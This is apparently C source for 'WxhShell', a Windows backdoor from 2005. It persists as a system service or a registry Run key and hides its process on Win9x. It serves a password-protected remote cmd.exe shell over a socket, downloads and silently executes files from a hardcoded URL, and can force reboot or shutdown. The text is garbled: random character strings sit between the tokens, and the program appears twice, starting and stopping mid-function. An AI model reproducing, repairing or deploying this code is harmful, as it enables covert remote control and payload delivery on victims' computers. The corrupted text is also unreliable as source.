sK-qQ } PROCESS_BASIC_INFORMATION; u<shhb- 8{ Eo8L'V PROCNTQSIP NtQueryInformationProcess; n=o'ocdS) ;Fem<p)V static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; za]p,bMX static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q VdC ?A| Gb |}Su HANDLE hProcess; &f<1=2dm PROCESS_BASIC_INFORMATION pbi; EN)A" 7$'mC9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UnWGMo?JEi if(NULL == hInst ) return 0; J1p75c% 7(~H77 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kTZx-7~ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H'GYJ ?U" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); km\ld&d]$ .e2A*9, if (!NtQueryInformationProcess) return 0; %;\G@q_p{ :6j :9lYL2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1H4Zgh
U if(!hProcess) return 0; )uid!d Fv);5LD if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^_KD&%M6 bxdXZBn CloseHandle(hProcess); iE^a%|?} V}|v!h[O8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?
TT8|Os if(hProcess==NULL) return 0; Ryq"\Q>+ 4SffP/ HMODULE hMod; -yAnn char procName[255]; f3TlJ!!U unsigned long cbNeeded; K>cz63}S ;\.JV ' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $'kn K< x]R(twi CloseHandle(hProcess); <@e+-$ |[37:m if(strstr(procName,"services")) return 1; // 以服务启动 N~$Zeq=
~kYqGH return 0; // 注册表启动 2yQ}Lxr( } y2#>c* 7ZL#f![{ // 主模块 {y^|ET7 int StartWxhshell(LPSTR lpCmdLine) )jk1S { .FKJyzL SOCKET wsl; W>0"CUp BOOL val=TRUE; =`1m- int port=0; -N7xO) struct sockaddr_in door; W~u f' '{.L if(wscfg.ws_autoins) Install(); mUt,Z^ l` t*a*v;iz port=atoi(lpCmdLine); =\Vu=I O*rmD<L$ if(port<=0) port=wscfg.ws_port; v<%kd[N ^'7C0ps+A WSADATA data; \+{t4Im if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +qdIj] v N2tkCkl^x9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Y%/ YFO2vb setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MV<!<Qmj door.sin_family = AF_INET; !2Y!jz door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?]W~ qgA door.sin_port = htons(port); kPO6gdwq$ bR'mV-2' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w*:GM8=6 closesocket(wsl); 8jjFC9Cbn0 return 1; |0L=8~M(j } e?!L}^f6X w#xeua|*I# if(listen(wsl,2) == INVALID_SOCKET) { x[vBK8 closesocket(wsl); ~ThVap[* return 1; 7 DY WdDX } $U>/i@ D Wxhshell(wsl); ut$,?k!M WSACleanup(); (LRM~5KVg `*NO_K return 0; PUP"ky^q" e"fN~`NhY } "!%wh6`>Md [7gYd+s // 以NT服务方式启动 ?GO
SeV VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2~!R*i { pcy<2UV DWORD status = 0; ^sifEgG *d DWORD specificError = 0xfffffff; }!%JYG^!D V uG?B{ serviceStatus.dwServiceType = SERVICE_WIN32; *;hY.EuoFz serviceStatus.dwCurrentState = SERVICE_START_PENDING; FxCZRo& serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PS=e\(6QC serviceStatus.dwWin32ExitCode = 0; #wenX$UTh3 serviceStatus.dwServiceSpecificExitCode = 0; S\e&?Y` serviceStatus.dwCheckPoint = 0; qKdS7SoS serviceStatus.dwWaitHint = 0; N0Efw$u Vi|7%!j< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y?pD(u if (hServiceStatusHandle==0) return; o"p^/'ri c,y|c`T 2 status = GetLastError(); %MJL5 if (status!=NO_ERROR) #?{qlgv<p { MA\m[h] serviceStatus.dwCurrentState = SERVICE_STOPPED; =)I"wR"v$ serviceStatus.dwCheckPoint = 0; 90/vJN serviceStatus.dwWaitHint = 0; S!;LF4VA serviceStatus.dwWin32ExitCode = status; B< |VeU serviceStatus.dwServiceSpecificExitCode = specificError; mC i[Ps SetServiceStatus(hServiceStatusHandle, &serviceStatus); }zFf0.82 return; Y[Q@WdE9 } _1^8xFe2 mZ~ qG5@/F serviceStatus.dwCurrentState = SERVICE_RUNNING; }I]j&\ serviceStatus.dwCheckPoint = 0; kE/`n],1U serviceStatus.dwWaitHint = 0; 7J9l.cM3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hm %g_Mt } DY9fF4[9a :{LAVMG&^ // 处理NT服务事件,比如:启动、停止 'LVn^TB_f& VOID WINAPI NTServiceHandler(DWORD fdwControl) &E
bI Op { 6M ^IwE switch(fdwControl) Ji;SY{~kv { ' .B.V?7 case SERVICE_CONTROL_STOP: n*Q`g@` serviceStatus.dwWin32ExitCode = 0; vUNisVA serviceStatus.dwCurrentState = SERVICE_STOPPED; 55.;+B5L* serviceStatus.dwCheckPoint = 0; } h[>U serviceStatus.dwWaitHint = 0; CI`N8
f=v { s%~L4Wmcq SetServiceStatus(hServiceStatusHandle, &serviceStatus); <i{K7}': } .xO
_E1Ku; return; !;%y$$gxh case SERVICE_CONTROL_PAUSE: /XcDYMKgh serviceStatus.dwCurrentState = SERVICE_PAUSED; wGvhB%8K break; zJ9v%.e case SERVICE_CONTROL_CONTINUE: dUS ZNY serviceStatus.dwCurrentState = SERVICE_RUNNING; )QmGsU}? break; lT]=&m> case SERVICE_CONTROL_INTERROGATE: >':5?\C+- break; b1u}fp
GF }; g\Wj+el} SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9UwLF`XM } 8j%'9vPi <FY&h# // 标准应用程序主函数 x(8n
9Q> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !z"Nv1!~| { ?"6Ov ] ueDvMP // 获取操作系统版本 St@l]u9 OsIsNt=GetOsVer(); e}A&V+ GetModuleFileName(NULL,ExeFile,MAX_PATH); t<nFy c-kA^z{f // 从命令行安装 GnFs63 if(strpbrk(lpCmdLine,"iI")) Install(); wW:7y>z) Wta]BX // 下载执行文件 ~-TOsRvxR if(wscfg.ws_downexe) { 8pXKO"u], if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *8bK')W WinExec(wscfg.ws_filenam,SW_HIDE); 9R
p2W } Z%}4bJ $r\"6e if(!OsIsNt) { <} ,1Ncl // 如果时win9x,隐藏进程并且设置为注册表启动 brh=NAzt HideProc(); u$%A#L[ StartWxhshell(lpCmdLine); kneuV8+(5 } q$[n`w- else ebC)H if(StartFromService()) A>= E { // 以服务方式启动 ju|]Qlek StartServiceCtrlDispatcher(DispatchTable); 6;o3sf@Tf else %_MEfuL // 普通方式启动 vJ"i.:Gf4 StartWxhshell(lpCmdLine); whye)w DP9LO_{ return 0; dC.bt|#Oz } a(;!O}3_)( {uU 2)5i2- -/ +#5.`1 ACg;CTBb =========================================== prtK:eGe2 tdep|sD A%u_&a}
3J~0O2 +dk fcG 9sSN<7 " <8!
Tq $7Z)Yp&T #include <stdio.h> VfSj E.| #include <string.h> e_.Gw"/Yl #include <windows.h> :^i^0dC #include <winsock2.h> rh!;|xB|+ #include <winsvc.h> 7"4z+w #include <urlmon.h> -)v@jlg02 d(-EcY>? #pragma comment (lib, "Ws2_32.lib") irbw'^;y #pragma comment (lib, "urlmon.lib") R_ ZK 0ar $TG=w #define MAX_USER 100 // 最大客户端连接数
?>$l #define BUF_SOCK 200 // sock buffer 0
Y>M=| #define KEY_BUFF 255 // 输入 buffer -fy9< B4h5[fPX #define REBOOT 0 // 重启 >|g?wC}V; #define SHUTDOWN 1 // 关机 :z&7W< 8|@9{ #define DEF_PORT 5000 // 监听端口 e(?]SU| f>2MI4nMG #define REG_LEN 16 // 注册表键长度 wM~H(=s`D #define SVC_LEN 80 // NT服务名长度 wi_'iv SmhGZ // 从dll定义API I9?Ec6a_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aUc|V{Jp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pTJX""C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MHU74//fe typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;"kaF!
<lE?, jl // wxhshell配置信息 Z
hd#:d struct WSCFG { OhVs#^ int ws_port; // 监听端口 Cr C=A=e char ws_passstr[REG_LEN]; // 口令 GbI-SbE int ws_autoins; // 安装标记, 1=yes 0=no H1/?+N}( char ws_regname[REG_LEN]; // 注册表键名 B07v^!Z> char ws_svcname[REG_LEN]; // 服务名 "ZrOrdlg+A char ws_svcdisp[SVC_LEN]; // 服务显示名 r)^vO+3u char ws_svcdesc[SVC_LEN]; // 服务描述信息 *JX;|S char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ICC%,$C~l int ws_downexe; // 下载执行标记, 1=yes 0=no hI},~af char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c!#:E` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5T@aCC@$h ?QZ"JX]) }; l(;Kij ]e'fa/I // default Wxhshell configuration JH8}Ru%Z struct WSCFG wscfg={DEF_PORT, l{Dct\ #s "xuhuanlingzhe", jYRP8 Yi 1, :9|\Z|S(I "Wxhshell", _oG&OJ@ "Wxhshell", bq>_qpr "WxhShell Service", =K\r-'V "Wrsky Windows CmdShell Service", *=AqM14 @ "Please Input Your Password: ", bD^b 1, ;G\8jP'
"http://www.wrsky.com/wxhshell.exe", as*4UT3 "Wxhshell.exe" #P<N^[m }; 0@I S "ZwKk
G // 消息定义模块 ,<-G<${ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S35~Cp char *msg_ws_prompt="\n\r? for help\n\r#>"; -I.d}[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1)m@?CaI` char *msg_ws_ext="\n\rExit."; lVOu)q@l7g char *msg_ws_end="\n\rQuit."; x'<K\qp{{ char *msg_ws_boot="\n\rReboot..."; zc rY>t#l char *msg_ws_poff="\n\rShutdown..."; |`Or'%|PR char *msg_ws_down="\n\rSave to "; #@HF<'H}mu $+p?Y)h . char *msg_ws_err="\n\rErr!"; LbEM^D char *msg_ws_ok="\n\rOK!"; UT0){%2@ [NMVoBvG char ExeFile[MAX_PATH]; u .f= te int nUser = 0; 21hv%CF\9 HANDLE handles[MAX_USER]; zk-.u}RBFG int OsIsNt; w| `h[/, js iSg/ SERVICE_STATUS serviceStatus; WHXj8*]6 SERVICE_STATUS_HANDLE hServiceStatusHandle; ,#M Cn 1W7%1FA // 函数声明 ljTBvU int Install(void); >zAUW[]C:I int Uninstall(void); S*o[ZA
int DownloadFile(char *sURL, SOCKET wsh); ,XDRO./+T int Boot(int flag); Gmwf4>" void HideProc(void); A, 3bC int GetOsVer(void); f+8wl!M+6 int Wxhshell(SOCKET wsl); o1M$.* void TalkWithClient(void *cs); '3zc|eJt& int CmdShell(SOCKET sock); (hiyNMC int StartFromService(void); <sK4#!K int StartWxhshell(LPSTR lpCmdLine); >leU:7 4=<tWa|@9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }PTV] q% VOID WINAPI NTServiceHandler( DWORD fdwControl ); `x%'jPP1^ WSuww // 数据结构和表定义 !;?+>R)h SERVICE_TABLE_ENTRY DispatchTable[] = %_ !bRo { R2Zgx\VV' {wscfg.ws_svcname, NTServiceMain}, MxT-1&XL {NULL, NULL} |$?bc3 }; _ODbY;M .o) `m9/ // 自我安装 C74a(Bk}H int Install(void) /c
uLc^(X { lpz2 m\ char svExeFile[MAX_PATH]; wgCa58H76 HKEY key; Z#rB} strcpy(svExeFile,ExeFile); CHe>OreiS 89r DyRJ; // 如果是win9x系统,修改注册表设为自启动 dFKM
8_jH if(!OsIsNt) { ^0/j0]O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0$,SF3K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZK>WW RegCloseKey(key); 5[c^TJ3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { feQ **wI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +v=C@2T RegCloseKey(key); .l.a(_R return 0; j~!X;PV3 } ~l)-wNqR4r } J0@X<Lt U } Q~Hy%M%R3 else { M5 <@~V/[ @Y1s$,=xB // 如果是NT以上系统,安装为系统服务 EK4d_L]I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sBcPq SMby if (schSCManager!=0) V4_=<W { vM5k_D SC_HANDLE schService = CreateService 6I%5Q4Ll ( e)(wss+d7P schSCManager, nDHTV!]< wscfg.ws_svcname, w@{= nD4p wscfg.ws_svcdisp,
'FDef#P< SERVICE_ALL_ACCESS, =weSyZ1~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -3Hy*1A. SERVICE_AUTO_START, 2 B SERVICE_ERROR_NORMAL, zG(\+4GE! svExeFile, 2nR[Xh?L NULL, :Of^xj>A NULL, ZzSz%z_sE NULL, 8uWa=C) NULL, 0tXS3+@n= NULL )c)vTZy ); C#Na&m if (schService!=0) Y\No4w ^|d { , GP?amh CloseServiceHandle(schService); HhvdqvIEG CloseServiceHandle(schSCManager); x^y'P<ypw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y !_C/!d strcat(svExeFile,wscfg.ws_svcname); Dy:|g1> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z*a:L} $ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B!?%O RegCloseKey(key); c9&xe"v return 0; * -8&[D0 } Sy0$z39 } 9po3m]|zy CloseServiceHandle(schSCManager); d'NIV9P`j] } UWd=!h^dt } ui/a|Q LGw$v[wb return 1; $7^o#2
B } 7t0er'VC
Pu" P9 // 自我卸载 1pgU}sRk int Uninstall(void) (&F
,AY3A { ZZzMO6US0 HKEY key; pC@{DW;V6R 5Ou`z5S\k if(!OsIsNt) { woK&q 7Vn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RO'7\xvn RegDeleteValue(key,wscfg.ws_regname); }E50>g RegCloseKey(key); h eV=)8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;z $(nhJ RegDeleteValue(key,wscfg.ws_regname); hvsWs.;L' RegCloseKey(key); ?fi,ifp*|l return 0; ]QlwR'&j/n } huh6 t ! } b?tB(if!I } P*3BB>FO else { `xqr{lhL >JFO@O5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/} b03 if (schSCManager!=0) rrik,qyv6 { ] Zy5%gI SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s;01u_ if (schService!=0) {#?N { Ac2n if(DeleteService(schService)!=0) { {Tq_7,8 CloseServiceHandle(schService); LnH ?dy CloseServiceHandle(schSCManager); CYY=R'1:G{ return 0; #W4dkCd(pF } kuszb~`zPY CloseServiceHandle(schService); Oi8.8M } |EX(8y CloseServiceHandle(schSCManager); "Q@ronP(~ } -g*4(w } 1mOh{:1u Y)* #)f return 1; EyJJ0 } 5B3G
@KR \fz<.l] // 从指定url下载文件 A$Hfr8w1u int DownloadFile(char *sURL, SOCKET wsh) R{<kW9! { Q ayPo]O HRESULT hr; jaII r06 char seps[]= "/"; OEA&~4&{7 char *token; 'vbsv T char *file; }ppN k:B char myURL[MAX_PATH]; <Tzrj1"Q3 char myFILE[MAX_PATH]; 5\:^y'g[ -*X a3/kQ strcpy(myURL,sURL); *x@Onj token=strtok(myURL,seps); .WA-&b_ while(token!=NULL) p6>Svcc { 8lvV4yb file=token; g+vva" token=strtok(NULL,seps); R O+GK`J } nP$Ky1y G vlmB`T GetCurrentDirectory(MAX_PATH,myFILE); qouhuH_WtJ strcat(myFILE, "\\"); %Nlt H/I strcat(myFILE, file); M ?Y;a5{ send(wsh,myFILE,strlen(myFILE),0); ,8U&?8l send(wsh,"...",3,0); snE8 K}4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `u3EU*~W if(hr==S_OK) BC&S> #\ return 0; N{9v1`B else gc_:%ki return 1; il4^zj82 !/'t5~x[ } <J<{l _S<3\%(0 // 系统电源模块 } gyj0 int Boot(int flag) z+0I#kM"1 { 3]}D`Qs6 HANDLE hToken; %?0:vn TOKEN_PRIVILEGES tkp; @vC4[:"pD} -$,TMqM if(OsIsNt) { q9KHmhUD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fInb[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0L2 F[TN tkp.PrivilegeCount = 1; n{n52][J] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dk[!V1x4\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yj 3cyLXw if(flag==REBOOT) { 5d Eh7XL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SYAyk return 0; Pr':51( } Q{s H3Y#l else { #xsE3Wj-X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ##,a0s^ return 0; {Z(h.de } V\ZG d+? } UOv+T8f= else { k9sh @ENy if(flag==REBOOT) { vYwYQG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TaZmRL return 0; !"?#6-,Xn } hgYZOwQ else { 0fb2;&pUa if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &FMc?wq return 0; QO<jI#
} `06; } jl4rbzse K
-nF lPm\ return 1; ~ (|5/
p7t } ! E<[JM (5$!MUS~9 // win9x进程隐藏模块 EU2$f void HideProc(void) D=q:*x { l:
HTk4$0 p|X"@kuseO HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?AK(| if ( hKernel != NULL ) =MQoC:l { a#cCpE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k3lS8d7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B]nEkO'a: FreeLibrary(hKernel); Y071Y: } ~^NtO u1J0$ return; Ec!"O3%!M^ } 8bTn^!1 RuLi,'u // 获取操作系统版本 Sj%u)#Ub int GetOsVer(void) >{q]&}^U { C)um9} OSVERSIONINFO winfo; faEt6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Go5J%&E9 GetVersionEx(&winfo); TH%Qhv\] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;v}GJ<3 return 1; j$M h+5 else q }i]'7 return 0; F|SXn\ } dPW#C5dm m ifxiV // 客户端句柄模块 \r/rBa\ int Wxhshell(SOCKET wsl) ? ^0:3$La { Z)I+@2 SOCKET wsh; 29;?I3<
* struct sockaddr_in client; +F R0(T DWORD myID; H*d9l2,KZS ]AINKUI0 while(nUser<MAX_USER) O*hDbM2QQw { S]}nm int nSize=sizeof(client); %|s; C wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }n]Ng]KM` if(wsh==INVALID_SOCKET) return 1; ;,hwZZA iw3FA4{( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ot4 Z{mA if(handles[nUser]==0) b)6D_Az7c closesocket(wsh); %R}qg6dL else , Rk9N nUser++; ax"+0L{ } ^=GC3%
J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ui<N[ |UkR'Ma return 0; Gt\lFQ
} wg9t)1k{e *D'22TO[[! // 关闭 socket 9&$y}Y void CloseIt(SOCKET wsh)
-WY<zJ { 7o7)0l9! closesocket(wsh); ew>XrT=Zm nUser--; ()Y~Q(5ji ExitThread(0); z 9vInf@M } 3U<cWl@ e),q0%5 // 客户端请求句柄 ahJ`T*)HY void TalkWithClient(void *cs) J9\Cm!H { 1vS#K=sb Ow+GS{-q SOCKET wsh=(SOCKET)cs; LD+{o 4i
char pwd[SVC_LEN]; 216 RiSr* char cmd[KEY_BUFF]; TJ2=m9Z char chr[1]; {0[tNth'h int i,j; S8kCp; bHY=x}Hv while (nUser < MAX_USER) { }fp-pe69z (o 5s"b if(wscfg.ws_passstr) { Q7HRzA^- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sgeh %f //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i[O& )N,c //ZeroMemory(pwd,KEY_BUFF); `fA@hK
i=0; B al`y while(i<SVC_LEN) { r )Ma3FL0; |-fgj' // 设置超时
vHgi<@u fd_set FdRead; >Rl" struct timeval TimeOut; *l"T$H FD_ZERO(&FdRead); E@z<:pG{ FD_SET(wsh,&FdRead); `XJG(Oas\ TimeOut.tv_sec=8; 4R#chQ TimeOut.tv_usec=0; I5X|(0es int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ny]?I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S4Pxc
]! (9tX5$e6N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EGGWrl}1 pwd=chr[0]; ~IY% if(chr[0]==0xd || chr[0]==0xa) { j5(Z_dm' pwd=0; XD!W: uvb break; ]tim,7s } z{8bvuE i++; KWq+PeB5TS } B?OFe'* '3R`lv // 如果是非法用户,关闭 socket $By<$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8^kGS-+^ } /}((l%U E. u0}vWkn\4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]P9l jwR send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B |5]Jm] kGH }[w while(1) { 1NbG>E#Ol R6 y#S&]x ZeroMemory(cmd,KEY_BUFF); ^+*N%yr 5 )A1\ // 自动支持客户端 telnet标准 fZ6MSAh j=0; |5X^u+_ while(j<KEY_BUFF) { jSJqE_ 1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M f}~{+ cmd[j]=chr[0]; c_dVWh e if(chr[0]==0xa || chr[0]==0xd) { zKyyU}LHH cmd[j]=0; b10cuy|a/X break; ;d@#XIS&-( } 'S20\hwt- j++; <kfnpB= } h!M %Si6]3-^@ // 下载文件 To\QjP- if(strstr(cmd,"http://")) { X1:V<,}" send(wsh,msg_ws_down,strlen(msg_ws_down),0); aFl;BhM if(DownloadFile(cmd,wsh)) i"1Mfz~e send(wsh,msg_ws_err,strlen(msg_ws_err),0); aH yx_B else Hf%@3X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jqz ux[6{ } )~&CvJ else { aacpM[{f \J4L:.`qS switch(cmd[0]) { t DO=P
c <h!_>:2L // 帮助 S~<$Hy*kh case '?': { aJSO4W)P send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cA&9e< break; L s
G\OG } Ij 79~pn // 安装 rExnxQ<e case 'i': { -fM1nH& if(Install()) 2ElJbN# send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~b(i&DVK else @tF\p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \|n-
O=}=2 break; 8mCxn@yV } EHSlK5bD, // 卸载 mJ<=n?{Z case 'r': { O5!7'RZ if(Uninstall()) #9=Vg send(wsh,msg_ws_err,strlen(msg_ws_err),0); @g|v;B|{ else u/UrAqw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2_)\a(.Qu break; {WJ m } G5{T5# // 显示 wxhshell 所在路径 xv46r=> case 'p': { <'}YyU= char svExeFile[MAX_PATH]; *HU &4E\a strcpy(svExeFile,"\n\r"); l(yZO$ strcat(svExeFile,ExeFile); adlV!k7RG send(wsh,svExeFile,strlen(svExeFile),0); -TLlwxc^% break; I"xo*} } BIH-"vTy // 重启 O6@j &*jS case 'b': { HUcq%. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6 [k\@&V- if(Boot(REBOOT)) J f@H/luW send(wsh,msg_ws_err,strlen(msg_ws_err),0); n#mA/H;wV else { 6S},(= closesocket(wsh); sZ'nYo ExitThread(0); H!c@klD } E!;SL|lj. break; XYQ/^SI!: } wDw[RW3 // 关机 SP@ >vl+; case 'd': { pD(j'[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fzm*Pz3 if(Boot(SHUTDOWN)) ;:iY) } send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8bxfj<O, else { O8^A5,2@3> closesocket(wsh); PoNi"Pv ExitThread(0); 9q)Kfz } N>Xo_-QCY break; `34zkPB?? } j
'FVz& // 获取shell ?}qttj case 's': { '|ad_M CmdShell(wsh); y~(h>gi,x closesocket(wsh); ?llXd4 ExitThread(0); i|c'Lbre` break; U1Q:= yD } rUTcpGH // 退出 }~2LW" 1' case 'x': { \1d( 9jR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~W*FCG#E CloseIt(wsh); E~,F break; Q[Z8ok } }I2wjO // 离开 $Y;U[_l# case 'q': { v/@^Q1G/: send(wsh,msg_ws_end,strlen(msg_ws_end),0); y>:N{| closesocket(wsh); 1}S S+>` WSACleanup(); $yN{-T" exit(1); K'55O&2 break; #:jHp44J } V4hiGO[ } Fiv3 {. } G, 44va p5Z"|\ // 提示信息 <5d~P/, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FO+Zue.RS } Moy <@+ } svsq g{9z -#7'r<I9@ return; ,NOsFO-`< } ~Io7] j_/>A=OD // shell模块句柄 *lYVY)L int CmdShell(SOCKET sock) 5c9^-|-T { ^"2i STARTUPINFO si; ~Uu4= ZeroMemory(&si,sizeof(si)); e%@'5k\SK si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Uj=^leYO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;m0~L=w PROCESS_INFORMATION ProcessInfo; +j#+8Ze char cmdline[]="cmd"; tankR9(o CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [O$Wa:< 0x return 0; VdPtPq1 } ?OId\'q \?w2a$?6w // 自身启动模式 !6n_}I-W int StartFromService(void) l#m#c6;= { vV6<^W:9F typedef struct s0\X ^ { ? 8)'oMD DWORD ExitStatus; `V=N*hv` DWORD PebBaseAddress; G"klu DWORD AffinityMask; grS:j+_M2m DWORD BasePriority; Mh~q// ULONG UniqueProcessId; Vl5`U'^qx ULONG InheritedFromUniqueProcessId; b v G/|U } PROCESS_BASIC_INFORMATION; t
4PK}>QW bhID#& PROCNTQSIP NtQueryInformationProcess; .O74V~T pqk?|BvpK_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H0:E(}@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gGvz(R:y c*(bO3 b HANDLE hProcess; J\/cCW-rF PROCESS_BASIC_INFORMATION pbi; w&X<5'GM ccB&O _ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pSoiH<33 if(NULL == hInst ) return 0; +GG9^:<yr ;>#wU' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <
nXL g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4^:\0UF NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4Z1ST; vY4\59]P if (!NtQueryInformationProcess) return 0; R_(tjkT hwu]Er.gn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2K<
